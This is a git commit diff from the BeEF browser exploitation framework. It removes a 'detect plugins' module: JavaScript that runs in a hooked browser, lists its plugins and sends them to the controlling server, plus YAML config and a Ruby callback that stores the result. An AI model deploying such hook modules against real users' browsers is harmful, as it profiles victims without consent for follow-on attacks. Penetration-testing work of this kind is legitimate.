the detect plugins module has been removed as it now runs by default and outputs to the details tab
git-svn-id: https://beef.googlecode.com/svn/trunk@1130 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
@@ -1,71 +0,0 @@
|
||||
//
|
||||
// Copyright 2011 Wade Alcorn wade@bindshell.net
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
//
|
||||
beef.execute(function() {
|
||||
|
||||
function serialize(_obj)
|
||||
{
|
||||
// Let Gecko browsers do this the easy way
|
||||
if (typeof _obj.toSource !== 'undefined' && typeof _obj.callee === 'undefined')
|
||||
{
|
||||
return _obj.toSource();
|
||||
}
|
||||
|
||||
// Other browsers must do it the hard way
|
||||
switch (typeof _obj)
|
||||
{
|
||||
// numbers, booleans, and functions are trivial:
|
||||
// just return the object itself since its default .toString()
|
||||
// gives us exactly what we want
|
||||
case 'number':
|
||||
case 'boolean':
|
||||
case 'function':
|
||||
return _obj;
|
||||
break;
|
||||
|
||||
// for JSON format, strings need to be wrapped in quotes
|
||||
case 'string':
|
||||
return '\'' + _obj + '\'';
|
||||
break;
|
||||
|
||||
case 'object':
|
||||
var str;
|
||||
if (_obj.constructor === Array || typeof _obj.callee !== 'undefined')
|
||||
{
|
||||
str = '[';
|
||||
var i, len = _obj.length;
|
||||
for (i = 0; i < len-1; i++) { str += serialize(_obj[i]) + ','; }
|
||||
str += serialize(_obj[i]) + ']';
|
||||
}
|
||||
else
|
||||
{
|
||||
str = '{';
|
||||
var key;
|
||||
for (key in _obj) { str += key + ':' + serialize(_obj[key]) + ','; }
|
||||
str = str.replace(/\,$/, '') + '}';
|
||||
}
|
||||
return str;
|
||||
break;
|
||||
|
||||
default:
|
||||
return 'UNKNOWN';
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
var plugins = beef.browser.getPlugins();
|
||||
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'plugins='+plugins);
|
||||
});
|
||||
@@ -1,25 +0,0 @@
|
||||
#
|
||||
# Copyright 2011 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
detect_plugins:
|
||||
enable: true
|
||||
category: "Browser"
|
||||
name: "Installed Plugins"
|
||||
description: "This module will retrieve the selected hooked browser plugins."
|
||||
authors: ["wade", "vo", "passbe", "saafan"]
|
||||
target:
|
||||
working: ["ALL"]
|
||||
@@ -1,26 +0,0 @@
|
||||
#
|
||||
# Copyright 2011 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
class Detect_plugins < BeEF::Core::Command
|
||||
|
||||
def callback
|
||||
content = {}
|
||||
content['Plugins'] = @datastore['plugins']
|
||||
|
||||
save content
|
||||
#update_zombie!
|
||||
end
|
||||
|
||||
end
|
||||
Reference in New Issue
Block a user